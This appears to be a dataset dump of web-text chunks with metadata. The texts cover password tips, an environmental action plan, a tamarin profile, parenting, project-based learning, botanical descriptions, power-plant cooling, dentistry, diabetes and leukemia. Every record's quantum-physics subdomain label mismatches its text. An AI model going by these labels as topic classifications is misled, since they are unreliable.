"source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.775664"} {"text": ". of course, these violate good password practices by requiring you to use something that can be easily looked up. others ask for your favorite movie or hobby. that might not be easily looked up, but your tastes change over time. furthermore, because these questions get repeated from site to site, the answers you use violate the rule against repeating passwords. i try to make these answers complex just like passwords, by adding numbers and special characters and making up responses. unfortunately, some sites won \u2019 t let you do that, and you \u2019 ll be stopped if you try to enter a numeral when asked for a city name, for instance. these services will often send an email when a password gets reset this way, so be sure the address on file is current. change your password and security questions immediately if you \u2019 re notified of a reset you didn \u2019 t initiate. you might want to contact the service as well. while you \u2019 re at it, make your username complex, too, if you \u2019 re allowed to choose one. banking sites typically do. beyond passwords, here are a few other things to help you stay safe : software flaws. many break - ins result from flaws in the software program you use, whether it \u2019 s the windows or mac operating system, a web browser or a video player. it \u2019 s a good idea to let those programs automatically check for software updates, as those updates may contain fixes to known flaws. you can also check this government website to learn of the latest threats and fixes : http : / / us - cert. gov. malicious software. even if the software you \u2019 re using is flawless, hackers may create a security opening by tricking you into installing a malicious program. that can happen if you click on a bad email attachment or link in your email. in rare cases, visiting a problematic website can cause the software to download. should malicious software get on your computer, a hacker might be able to use the opening to look around for sensitive data, or record your keystrokes to capture your complex passwords. to minimize the threat, use caution when visiting unknown sites or opening mysterious email. security software. many companies sell anti - virus and other software to protect your computer from malicious software. there \u2019 s a free one available at http : / / www. avg. com. windows and mac computers also come with firewalls to block some threats. be sure it \u2019 s turned on.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.48582536931613085, "token_count": 499, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.777923"} {"text": "\" it is the most interesting book i have ever read and inspires me to do something immediate to save our civilization. \" \u2014 hanh lien, translator for the vietnamese edition of world on the edge the united states completely restructured its economy within months once it decided to enter world war ii, changing the course of the war. we, too, can change the world, but we need to start now. the choice is ours \u2014 yours and mine \u2014 to either adopt plan b and move the world onto a path of sustainability or go along with business as usual and allow further destruction of our natural support systems. the choice will be made by our generation, but it will affect life on earth for all generations to come. the overriding plan b goals are to : - stabilize climate - stabilize population - eradicate poverty - restore the earth \u2019 s damaged ecosystems the following is a short list of political and personal actions that you can take to help move us in a sustainable direction. for more ideas, visit our people in action page. in order to save our failing global civilization, there are two fundamental policy changes that must be brought to the attention of governments : restructuring taxes and reordering fiscal priorities. lowering taxes on labor and increasing taxes on environmentally damaging activities will require markets to tell the ecological truth. additionally, reexamining fiscal arrangements will allow governments to prioritize necessary resources for the plan b budget. - elect leaders who support positive environmental and social initiatives. - contact or meet with your elected representatives and outline the plan b goals and the need to create an honest market. draft a statement of your concerns and a list of policies he or she should implement. invite friends and community members to join you \u2014 the bigger your group, the more influence you might have. what to discuss : - raising environmental taxes and reducing income taxes. you can download information on tax restructuring from chapter 13 of plan b 3. 0 here. - increasing financial support for poverty eradication, education, family planning, reforestation, and conservation. the proposed $ 190 billion per year budget for restoring the earth and meeting basic social goals is a small fraction of the annual military spending of $ 1 trillion, but will go far in reducing the true threats to security. ( see plan b budget and explanation. ) - stabilizing climate. express your support for initiatives that aim to reduce greenhouse gas emissions, particularly replacing fossil fuels with renewable energy sources and raising energy efficiency. ( see our 8 - page climate blueprint. ) - outline the elements of plan b. ( see", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.46706102053945225, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.791065"} {"text": "- if you find our publications useful, share them with others. all of our books can be downloaded free of charge. visit our books section. you can also distribute our epi releases or download and share our powerpoint presentations. if you would like to reprint our materials in newsletters, e - zines, bulletins, etc. contact reah janise kauffman at firstname. lastname @ example. org. click here for more examples of how people have taken personal action in their community. having trouble picking an issue to stand for? here \u2019 s a list of topics highlighted in plan b 3. 0. each one is linked to more information from our updates, indicators, or other publications on our site. banning new coal - fired power plants \u2013 coal accounts for over 70 percent of the co2 emissions from electricity generation. recently, local communities, wall street investors, and politicians are backing away from coal. the same justification being used now to halt the construction of new coal plants can be used to shut down existing facilities. phasing out coal power is necessary to stabilize climate and will also reduce air pollution. harnessing the wind \u2013 wind is the centerpiece of the plan b energy economy. it is abundant, inexpensive, and widely distributed. a mass production of wind turbines would reinvigorate manufacturing capacity and create jobs. production tax credits can help the wind compete with highly subsidized fossil fuels. turning to the sun \u2013 the sun \u2019 s energy can be harnessed by solar photovoltaics and collectors for both heat and electricity generation. a global push for more solar rooftop water and space heaters would help cut co2 emissions worldwide. no new nuclear plants \u2013 nuclear energy is expensive to maintain and poses a serious threat to security. if we use full - cost pricing \u2014 requiring utilities to absorb the costs of disposing of nuclear waste, of decommissioning the plant when it is worn out, and of insuring the reactors against possible accidents and terrorist attacks \u2014 building nuclear plants in a competitive electricity market is clearly not economical. \u201c back - to - the - tap \u201d anti - bottled water movement \u2013 manufacturing the 29 billion plastic bottles used to package water in the united states alone requires 17 million barrels of oil. after they are used, more than four fifths of these bottles end up as garbage or litter. high - priced bottled water is often simply processed tap water. the movement away from bottled water involves a broad effort to reduce its use in schools, restaurants, companies, and government", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5332750971305146, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.798384"} {"text": "more than four fifths of these bottles end up as garbage or litter. high - priced bottled water is often simply processed tap water. the movement away from bottled water involves a broad effort to reduce its use in schools, restaurants, companies, and government buildings. redesigning cities and promoting mass transit \u2013 city planners are shifting their thinking from paving more roads for cars to building up urban transport, meaning less congestion and pollution. a \u201c complete streets \u201d movement \u2014 an effort to ensure that city streets are friendly to pedestrians and bicycles as well as to cars \u2014 is gaining momentum. electrifying transportation : plug - in hybrid vehicles and rail \u2013 running cars and trains on cheap green electricity can free us from dependence on oil and help to stabilize climate. now more than ever before, automakers need government incentives to manufacture highly efficient cars. electrifying rail to move freight and link cities will reap further gains. shifting from incandescent light bulbs to cfls \u2013 if every person around the world were to switch from using conventional light bulbs to compact fluorescent lamps ( cfls ), with office, industry, and traffic lighting changing to the most efficient technologies available, total world electricity use would fall by 12 percent \u2014 the output equivalent of 705 coal - fired power plants. building green \u2013 buildings are responsible for a large share of global electricity consumption and raw materials use, but people are thinking about how to make them better. retrofitting existing buildings with better insulation and more - efficient appliances can cut energy use by half. a u. s. - based group of forward - thinking architects and engineers has set forth the architecture 2030 challenge, with the goal of reducing fossil fuel use in new buildings 80 percent by 2020 on the way to going entirely carbon - neutral by 2030. universal basic education \u2013 children without any formal education are likely to remain in poverty \u2014 with the gap between the poor and the rich widening. supporting education for all children around the world can reap enormous gains in health care, equality, agricultural productivity, and economic growth. ensuring global food security \u2013 we live in a rich world, but more than 1 billion people are hungry. climate change, water stress, land deterioration, and a shrinking backlog of unused agricultural technologies all are playing a role in the slowing growth in world food supplies, all while populations are growing. ensuing food security means tackling these challenges from all fronts. food before fuel \u2013 since converting increasing amounts of food into fuel for automobiles in recent years, the annual growth in world grain demand has more than doubled. with the owners", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5196443235970705, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.802335"} {"text": "while populations are growing. ensuing food security means tackling these challenges from all fronts. food before fuel \u2013 since converting increasing amounts of food into fuel for automobiles in recent years, the annual growth in world grain demand has more than doubled. with the owners of the world \u2019 s 910 million automobiles competing with the poorest 2 billion for food, more people are urging governments to reexamine their policies of subsidizing the turning of food into fuel. reproductive health care and family planning \u2013 the benefits of providing reproductive health and family planning services far outweigh the costs of offering these services. providing access to contraception and health care for all would lower the rate of unwanted pregnancies, induced abortions, and infant deaths, helping to stabilize the global population. protecting and restoring forests \u2013 ending forest destruction will involve reducing wood and paper consumption, boosting recycling, and providing alternative fuel sources to wood. curbing the pressures to deforest stemming from population growth and the expansion of agriculture and rangelands is also important. beyond protecting existing forests that are crucial habitats to wildlife, we can plant trees in deforested areas. planting trees can help stabilize soils, prevent runoff, and remove co2 from the atmosphere. protecting plant and animal diversity \u2013 humans have an enormous influence on the habitability of the planet for the millions of other species with which we share it. but if the world \u2019 s population increases to 9 billion by mid century as projected, countless more plant and animal species may simply be crowded off the planet. raising water productivity \u2013 low water prices present in many countries give the illusion that water is abundant when it is in fact scarce, and encourages wasteful water use. because of this, water tables are falling at an accelerating rate around the world, putting additional pressures on food production. shifting to more water - efficient crops and switching from flood irrigation to drip irrigation are two ways farmers can boost water productivity. rethinking the materials economy \u2013 our current \u201c throwaway economy \u201d is not only disrupting our environment, it is also wasting valuable energy and resources. many products are manufactured with little intent for reuse or recycling. the big challenge is for cities to recycle the many components of garbage and for industry to produce easily - disassembled and recycled goods, since recycling uses only a fraction of the energy of producing the same items from virgin raw materials. increasing efficiency in this way will keep our environment cleaner, while reducing carbon emissions. need more information? you can browse our publications by topic here, and get data", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.4501783619636726, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.805443"} {"text": "cougar this species can grow up to eight feet long and can jump 16 feet vertically. closely related to the house cat, the cougar does not roar, but purrs instead, and it does very well in captivity. learn more about the cougar. join the featured creature mailing list would you like to receive a notice and link when the new creature feature is posted? enter your e - mail address golden lion tamarin scientific name : leontopithecus rosalia other names and / or listed subspecies : golden marmoset the golden lion tamarin is one of the most endangered mammals and also one of the most striking because of its silky golden hair and beautiful mane that frames its face. this species is only found in rio de janeiro of brazil. adults only reach about the size of a squierrel and are between 8 and 13 inches long with a tail length of 12 to 15 inches. the average weight is about 620 grams ( 1. 4 lbs ). males are usually larger than females. they have small, rounded heads, and their faces are flat with widely spaced nostrils. their bodies are covered with long, soft silky, pale golden to reddish - brown fur. they have long claws with delicate claw - like nails that help with their movement in the trees and also with foraging for small prey. this species prefers extremely humid tropical forest for its habitat where there are plenty of trees entangled with vines and where there is lots of fruit. to hide from predators and to keep warm, they sleep in tree holes 10 to 30 meters from the ground. they are active only in the day, and remain in tree holes at night. diet consists of spiders, snails, small reptiles and amphibians, eggs, small birds, fruits and flowers. they prefer to live in family groups of 2 to 8, and food sharing helps to maintain social bonds in the family. breeding occurs between september and march, and females typically give birth to twins after a gestation period of 130 to 135 days. all members of the group help to care for the young. this species has suffered from poaching for its hide and capture for the pet trade. it also suffers from loss of habitat, disease, and hunting by predators. todays population estimate is around 800, but this species can also be found in many zoos. captive breeding programs have been establish to preserve the species and have been successful with reintroducing tamarins into the wild.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.38204101886057895, "token_count": 500, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.818435"} {"text": "getting your child to break bad habits having a cigarette with your morning coffee. reading the sports section of the newspaper first. ordering out pizza on friday nights or chinese on sundays. these may be a few of your favorite things. but do you remember how or when these routines began? are you even aware that they exist? don \u2019 t be alarmed by your answers. doing these things repeatedly and often without thought is what qualifies them as habits. humans are creatures of habit. our behavior patterns, developed over time, \u201c program \u201d us to follow predictable routines everyday. your children, too, are developing their own habits and routines - some of which may be undesirable or downright harmful. as parents, it is important for us to take an interest in our children \u2019 s habits. by understanding the nature of habits and by employing some habit - breaking strategies, you can help your child break bad habits. just as good habits can help improve the quality of our children \u2019 s lives, bad habits can be embarrassing, annoying, or threatening to their physical and emotional well being. because all habits are reinforced over time, the earlier parents begin taking notice, the better the chance of helping children avoid and curtail bad habits. but what is a bad habit? many parents would probably agree that wearing a seat belt, brushing teeth regularly, saying \u201c thank you \u201d and \u201c please \u201d, studying after school, and eating healthfully are good habits. parents may also agree that thumb sucking, knuckle cracking, finger nail biting, and nose picking constitute bad habits. but before parents intervene, they should understand how habits develop in children. at first children are quite conscious of the behaviors that they exhibit. as the behaviors continue in frequency, they become more involuntary and become habits. habits develop due to factors including imitation, positive reinforcement, and / or anxiety or tension relief. ironically, parents accidentally reinforce these negative behaviors they wish to extinguish by making a big deal about them. for example, the \u201c fuss \u201d parent makes is often reinforcing to a child who is seeking attention. the best tool for parents wanting their child to discontinue a habit is patience. parents should evaluate the habit as objectively as possible over a couple of weeks, observing the child and keeping track of the number of times the behavior occurs. it is also important to note the circumstances under which the behavior takes place, including the time of day and surroundings. these observations may help identify important patterns. if, after employing this observe - and - evaluate approach", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.4678307468513826, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.821841"} {"text": "want your students college ready? use pblfebruary 7, 2011 | thom markham editor ' s note : today ' s guest blogger is thom markham, a psychologist, educator, and president of global redesigns, an international consulting organization focused on project - based learning, social - emotional learning, youth development, and 21st - century school design. he formerly directed the buck institute for education ' s national training program in pbl and is the primary author of bie ' s handbook on project based learning. college readiness, always a hot topic, is getting hotter. the obama administration has set a national goal of having the highest proportion of college - educated citizens in the world by 2020. yet at the same time, researchers tell us that two out of five college students are not equipped to handle the academic, financial, and social responsibilities of college. ( download a recent report on college readiness from act ) in other words, 40 % of high school students aren ' t \" college ready. \" predictors of college success what ' s really interesting is that, once again, the research reminds us that the deficiencies in college readiness don ' t represent cognitive deficits. i realize that many high school graduates require remedial courses to learn to write an essay or master basic math. but this research shows that the biggest predictor of college success is a student ' s conscientiousness, as measured by dependability, perseverance, and work ethic. the next best predictors are agreeableness, including teamwork, and emotional balance. all this, in my mind, leads to one conclusion : more project - based learning. role of social - emotional learning in pbl what do these personality attributes associated with college readiness - - dispositions, as they ' re known to psychologists - - have to do with pbl? let me briefly digress to explain how pbl and social - emotional learning support one another. in the last two decades, social - emotional learning experts have settled on three factors that support the success of a young person : ( 1 ) a solid relationship with an adult mentor, such as a parent, priest, teacher, or coach ; ( 2 ) a sense of mastery that develops as the mentor guides the young person forward and reviews their performance ; and ( 3 ) an internal sense of meaning and purpose that comes as the young person is offered opportunities to explore questions of value and relevance. pbl draws upon these exact elements for success. great pbl begins with a respectful relationship between teacher and student. pbl", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5067375874341533, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.826466"} {"text": ") an internal sense of meaning and purpose that comes as the young person is offered opportunities to explore questions of value and relevance. pbl draws upon these exact elements for success. great pbl begins with a respectful relationship between teacher and student. pbl is also a process of learning, not merely a method for ingesting information for a test at the end of the unit. this process allows for plenty of regular, ongoing feedback, which leads to student mastery. and, at the heart of a good project is a relevant, open - ended, student - centered question that speaks to a student ' s innate desire to know more about the world and how he or she fits into it. bottom line : if you use pbl in the classroom, you are not only teaching the stuff of school, you are supporting the social - emotional development of your students and getting them ready for college. pbl to teach student behavior i ' ll just add one other thought : what if you want to specifically teach work ethic, perseverance, or dependability - - the kinds of dispositions that really prepare a student to be a self - managing learner in college? pbl works well here, too, if you use well - designed rubrics that identify the exact behaviors you expect, teach students how to use the rubrics to guide their behavior, and - - the critical piece - - put a grade in your grade book that reflects how \" dependable \" a student has been in the project. common core standards for social - emotional learning are coming, but there will never be a test or national curriculum for \" dependability. \" so you will need to judge these \" soft \" skills by \" soft \" standards. it ' s not that difficult, however. most teachers and students know what this behavior looks like in practice - - and they can identify the necessary levels of performance. ( if you need sample rubrics, visit my site and click \" contact. \" ) thom markham, ph. d., president of globalredesigns, and senior national faculty member at the buck institute for education, is a psychologist and educator who served as a director with active learning, inc., an innovative motivational and learning skills camp program for high school and college students, taught at an award - winning high school, where he led school reform efforts and developed a highly - acclaimed internship - based program, and co - founded the marin school of arts and technology, an innovative charter high school in novato, california.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5091870967585379, "token_count": 509, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.827486"} {"text": "description from flora of china paracyclea kudo & yamamoto. vines. petiole usually long ; leaf blade peltate, palmately veined. inflorescences axillary, terminal or on old stems, thyrsoid, usually narrow, rarely broad and sparse ; bracts small. male flowers : sepals usually 4 or 5 ( or 6 ), usually connate, 4 - or 5 - lobed, rarely free ; petals 4 or 5, usually connate, entire or 4 - 8 - lobed, rarely free, sometimes absent ; stamens 4 or 5, connate into a peltate synandrium, anthers dehiscing transversely. female flowers : sepals and petals 1 or 2, opposite to each other, rarely absent ; carpel 1, stigma short, 3 - or many lobed. drupes obovate - globose to rotund, often slightly flat, style scar near base ; endocarp bony, horseshoe - shaped, abaxially bearing 2 or 3 rows of tubercles on both surfaces of rib ; condyle usually 1 or 2 cavities, often perforate between style scar and base. seed horseshoe - shaped ; embryo terete, embedded in endosperm. about 29 species : s and se asia ; 13 species ( five endemic ) in china.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4307118900765706, "token_count": 281, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.835021"} {"text": "description from flora of china trees or shrubs, evergreen. leaves alternate, petiolate ; stipules apparently absent ; leaf blade ovate or lanceolate, leathery, margin entire, venation pinnate, sometimes with 3 basal veins, abaxially usually glaucous. inflorescence capitate, axillary, pedunculate, usually nodding, 5 \u2013 8 - flowered ; involucral bracts 5 \u2013 many, imbricate, ovate - rounded, outer bracts usually much smaller than inner bracts. flowers bisexual, zygomorphic. floral cup very short, enclosing base of ovary. sepals absent or rudimentary, number not distinguishable. petals 2 \u2013 5, well developed only on abaxial side of flower, red, spatulate or oblanceolate, clawed, straight in bud, head as whole rayed and flowerlike. stamens 4 \u2013 11, equal to or somewhat shorter than petals ; filaments linear ; anther thecae 2 - sporangiate, each dehiscing by 2 valves ; nectariferous disk scales present. ovary semi - inferior ; ovules 12 \u2013 18 per locule, inserted on septum ; styles long, very slender, nearly equal to stamens, apex acute, caducous or persistent in fruit. capsules dehiscing loculicidally above middle by 4 valves ; pericarp thin. seeds flattened, mostly sterile and wingless, fertile seeds laterally narrowly winged ; endosperm rather copious ; cotyledons ovate, flat, fleshy ; radicle cylindric, ca. 1 / 3 as long as cotyledons. 2n = 24. vink ( flora malesiana, ser. 1, 5 : 371 \u2013 374. 1957 ) regarded rhodoleia as monospecific. about ten species : china, indonesia, malaysia, myanmar, vietnam ; six species ( three endemic ) in china.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.43656937574557547, "token_count": 416, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.836759"} {"text": "u. s. energy information administration - eia - independent statistics and analysis today in energy note : all data are preliminary and subject to revision. final data will be published later this fall. only power plants that reported operational cooling systems that withdrew water for cooling in 2011 are displayed. cooling systems are aggregated to the plant level. prolonged drought can affect power plants that rely on large volumes of fresh water for a variety of reasons. though there have been few reported problems this year, lower water levels are a potential concern for grid operators and system planners during periods of extended drought. the map above shows the relative size of electric power plants, expressed in megawatts, for the subset of power plants that reported operating cooling systems, by type, that withdrew water for cooling during 2011 ( the latest full summer season of data available ). - once - through, fresh water cooling systems are more likely to be affected by lower water levels in lakes, rivers, and streams that occur in sustained drought periods. - once - through, salt water cooling systems withdraw and discharge from larger bodies of water ( oceans, bays and sounds ) which are slightly less likely to be affected by lower water levels in sustained drought periods, though they can be affected by temperature regulations. - closed - cycle, hybrid and other systems either reuse water after withdraw or use very little water for cooling. over half of the cooling systems at u. s. power plants re - use water through a cooling tower, though some of the larger plants in the nation have once - through systems from fresh water sources. dry - air cooled systems use essentially no water for cooling purposes but are not in wide use at this time. thermoelectric power plants use water to cool down ( condense ) steam after it has been used to turn a steam turbine to generate power. for once - through cooling systems fed by fresh water sources, the need to withdraw significant amounts of water makes these plants more vulnerable to deratings or outages when water levels drop or water temperatures rise. when water levels fall significantly, water intake structures may be exposed above the water surface, causing the plant to become nonoperational. additionally, at higher water temperatures, generators are less efficient, reducing the power capability of the plant. again, no major system effects have been reported so far this year due to drought. some areas also place regulatory limits on the temperature of the water a cooling system discharges. at times of excessive heat, power plants are not allowed to raise water temperatures past levels safe for species of fish and", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5430802808199495, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.841482"} {"text": "gender composition of scholarly publications ( 1665 - 2011 ) what it does the gender browser provides a multiscale view of gender representation across multiple domains of scholarly publishing. a pre - print paper describing the study can be found here. how to use it click on any field to and zoom in to that field. click on the bar on the left to move back up to higher levels of structure. you can also use the hoptree at the top to navigate from field to field. how it works the jstor corpus is a collection of research articles and other documents from scholarly fields including biology, economics, law, sociology, and statistics. ( some areas such as physics and engineering are not well represented in the jstor collection and thus are not mapped here. ) we use the hierarchical map equation to uncover the structure of disciplines, subdisciplines, specialties, subspecialties, and so forth in the jstor corpus, based upon the network of citations among 1. 8 million scholarly articles connected by citation and spanning the period from 1665 to 2011. this generates the hierarchical classification of scholarly activities revealed in the gender browser. we have named each field manually by inspecting the papers therein. for each author of each paper in the collection, gender is determined by extracting the given ( first ) name, and looking at the gender distribution of this name in the us social security administration database ; gender is recorded only when we can assign gender with greater than 95 percent confidence. we have also identified the most influential papers in each discipline and sub - discipline using eigenfactor algorithms. click on \" top papers \" in the top left bar. the data are displayed in the following format : journal | year | title | first author.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5182145006718497, "token_count": 347, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.844079"} {"text": "posts for : november, 2011 a number of factors can lead to dental caries ( tooth decay ). to find out if you are at high risk, ask yourself these questions. is plaque visible in my mouth? dental plaque is a whitish film of bacteria that collects on your teeth. if it is clearly visible, it means that there is a lot of it. among the bacteria in the plaque are those that produce tooth decay, particularly in an acidic environment. ( a normal mouth is neutral, measured on the ph scale, midway between the extreme acidic and basic ends of the scale. ) do i have a dry mouth? saliva protects your teeth against decay by neutralizing an acidic environment and adding minerals back to the outer surface of enamel of your teeth, so reduced saliva is a high risk for caries. many medications can cause dry mouth as a side effect. do i eat a lot of snacks, particularly unhealthy ones? frequently eating sugars, refined carbohydrates, and acidic foods promotes the growth of decay - producing bacteria. the more frequently you eat, the longer your teeth are bathed in sugars and acids. acidic foods not only promote bacterial growth, they also directly cause erosion of the tooth ' s hard surface by softening and dissolving the minerals in the enamel. do i wear retainers, orthodontic appliances, bite guards or night guards? these appliances are recommended for various conditions, but they tend to restrict the flow of saliva over your teeth, cutting down on the benefits of saliva mentioned above. do my teeth have deep pits and fissures? the shape of your teeth is determined by your heredity. if your teeth grew in with deep grooves ( fissures ) and pits in them, you are at higher risk for bacterial growth and resulting decay. do i have conditions that expose my teeth to acids? if you have bulimia ( a psychological condition in which individuals induce vomiting ), or gerd ( gastro - esophageal reflux disease ), your teeth may be frequently exposed to stomach acids that can cause severe erosion to your teeth. do i already have cavities? visible cavities can range from those only visible with laser technology or x - ray examination to those a dentist can see with a naked eye. if you already have small cavities, you are at high risk for developing more. do i have white spots on my teeth? white spots are often the first sign of decay in a tooth ' s enamel. at this point,", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5242686678183295, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.851114"} {"text": "naked eye. if you already have small cavities, you are at high risk for developing more. do i have white spots on my teeth? white spots are often the first sign of decay in a tooth ' s enamel. at this point, the condition is often reversible with fluorides. have i had a cavity within the last three years? recent cavities point to a high risk of more cavities in the future, unless conditions in your mouth have significantly changed. if you have any of these indications of high risk, contact us today and ask us for suggestions for changing the conditions in your mouth. you can also learn more by reading the dear doctor magazine article \u201c tooth decay. \u201d dental crowns are excellent tools that we use to restore functionality, color and / or beauty to teeth and your smile. and while many people may have heard of them, often times there are many questions surrounding the process, costs and their maintenance. this is why we have put together this list of some of the questions we are commonly asked on this subject. our goal is to provide you with straightforward answers so that you have a clearer understanding of the treatment and are comfortable making the decision to go forward with these excellent tooth restorations should they ever be required. what is a crown? a dental crown is a tooth - shaped \u201c cap \u201d or cover that a dentist places over a tooth that is badly damaged from trauma or decay in order to restore its color, strength, size and functionality. they are also used for cosmetic reasons to improve discolored or misshapen teeth. why can the cost of crowns vary? the reason the cost of a crown can vary greatly, even from dentist to dentist is quite simple. the most beautiful crowns require the artistry and years of experience of a team of dental professionals ; your dentist and the laboratory technicians that handcraft crowns. to meet higher expectations of some individuals requires more experience, artistry and skill. and great art just tends to cost more. a customized temporary crown may even be used as a preview to see what a final crown will look like. another critical factor is the choice of materials used. for example, while all porcelain crowns are made from high - quality ceramic ( glass ) material, they are not equal. it is therefore more expensive in terms of time, skill and expertise to produce the most natural looking results. how long will a crown last? most dentists expect a crown to last at least 7 - 10 years with normal wear and proper maintenance. however, depending on the materials used", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.493106145693027, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.852284"} {"text": "terms of time, skill and expertise to produce the most natural looking results. how long will a crown last? most dentists expect a crown to last at least 7 - 10 years with normal wear and proper maintenance. however, depending on the materials used and location of the tooth, they can last upwards of 50 years or more. for example, a gold crown has the longest lifespan because gold is such a durable material that has little to no negative impact on surrounding teeth. on the other hand, porcelain produces a completely natural look but can cause wear to adjacent teeth. what materials are most often used for crowns? the three most common materials used to make crowns are as follows : - porcelain - fused - to metal ( pfm ) - all porcelain welcome to the blog of sandra embree dentistry! whether you are an existing patient or searching for a dentist in the ann arbor area, we ' re excited you are here. with the dental industry advancing, we recognize the importance of keeping our patients and visitors up to date with all of the new and exciting things taking place in our practice. as we move forward with our blog, we hope to promote dental awareness as a vital part of your healthy lifestyle. here you will find a variety of articles and topics including dental news, advancements in dental technology and treatment, practical dental health advice and updates from dr. embree and her staff. we hope you find our blog to be helpful, engaging and informational to ensure your best dental health. as always, feel free to contact us with any dental questions or concerns. - - dr. sandra embree", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.43251058345327675, "token_count": 323, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.852997"} {"text": "reaching out to prevent diabetes based on the success of the diabetes prevention program trial, eisenhower medical center created an outreach program for the coachella valley to identify people who are at - risk for diabetes and to enroll them in an educational program for lifestyle changes. in june 2003, eisenhower medical center received a diabetes prevention grant from the desert healthcare district. highly successful, the eisenhower diabetes prevention program maintained a 98 percent retention rate, and the desert healthcare district extended the grant through 2006. diabetes is an insidious disease. diabetes is the number one cause of kidney failure, limb amputation and blindness. diabetes is also a major cause of heart disease and stroke. type 2 diabetes is most prevalent over the age of 45. currently, 18 percent of all men and women over the age of 65 have diabetes. type 2 diabetes is even more common in hispanics, native americans, asians and pacific islanders. once rare in adolescents, the dramatic increase in obesity among american teens exposes them to diabetes at an early age. who is at - risk for diabetes? the strongest risk factor is family history, followed by obesity, hypertension, an abnormal lipid pattern ( high triglycerides and low hdl cholesterol ), and a fasting blood sugar between 100 mg / dl and 126 mg / dl. it is estimated that there are about 30 to 40 million people in this country who are at - risk for diabetes, and about 30, 000 people who are at - risk in the coachella valley. desert diabetes alert program eisenhower \u2019 s desert diabetes alert program reaches out to the community with screenings, lab tests and comprehensive education. to date, eisenhower medical center has screened more than 5, 500 people, of which approximately 25 percent were identified as at - risk, and 12 percent were found to have diabetes. screeners are present at pharmacies, supermarkets and health fairs. individuals who have a family history of diabetes, are overweight or have high blood pressure, simply fill out a questionnaire, the responses to which may qualify them for a blood test. program participants are taught healthy eating habits, and how to lose weight and exercise \u2013 all at no cost. because of the increasing number of teens who are at - risk for diabetes, the palm springs unified school district and desert sands unified school district allow eisenhower \u2019 s desert diabetes alert program to screen teenagers ( ages 12 to 18 ) in the high schools. to date, eisenhower has screened more than 1, 400 students, finding 33 percent at - risk for diabetes. more than 340 students and adults", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.4569497898119114, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.855629"} {"text": "in this article there is no known way to prevent most types of leukemia. most people with leukemia do not have known risk factors. a risk factor is anything that raises your chances of getting a disease. some types of leukemia may be prevented by avoiding high doses of radiation, exposure to the chemical benzene, smoking and other tobacco use, or certain types of chemotherapy used to treat other types of cancer. during treatment for any stage of leukemia, there are things you can do at home to help manage the side effects of leukemia or its treatment. home treatment may be all that is needed to manage the following common problems. if your doctor has given you instructions or medicines to treat these symptoms, be sure to use them. eating a balanced diet and getting enough sleep and exercise may help you feel better. dealing with your emotions if you have recently been diagnosed with leukemia, you may have many different emotions. there is no \" normal \" or \" right \" way to react. but if your reaction is interfering with your ability to make decisions about your health, it is important to talk with your doctor. your cancer treatment center may offer psychological or financial services. you may also contact your local chapter of the 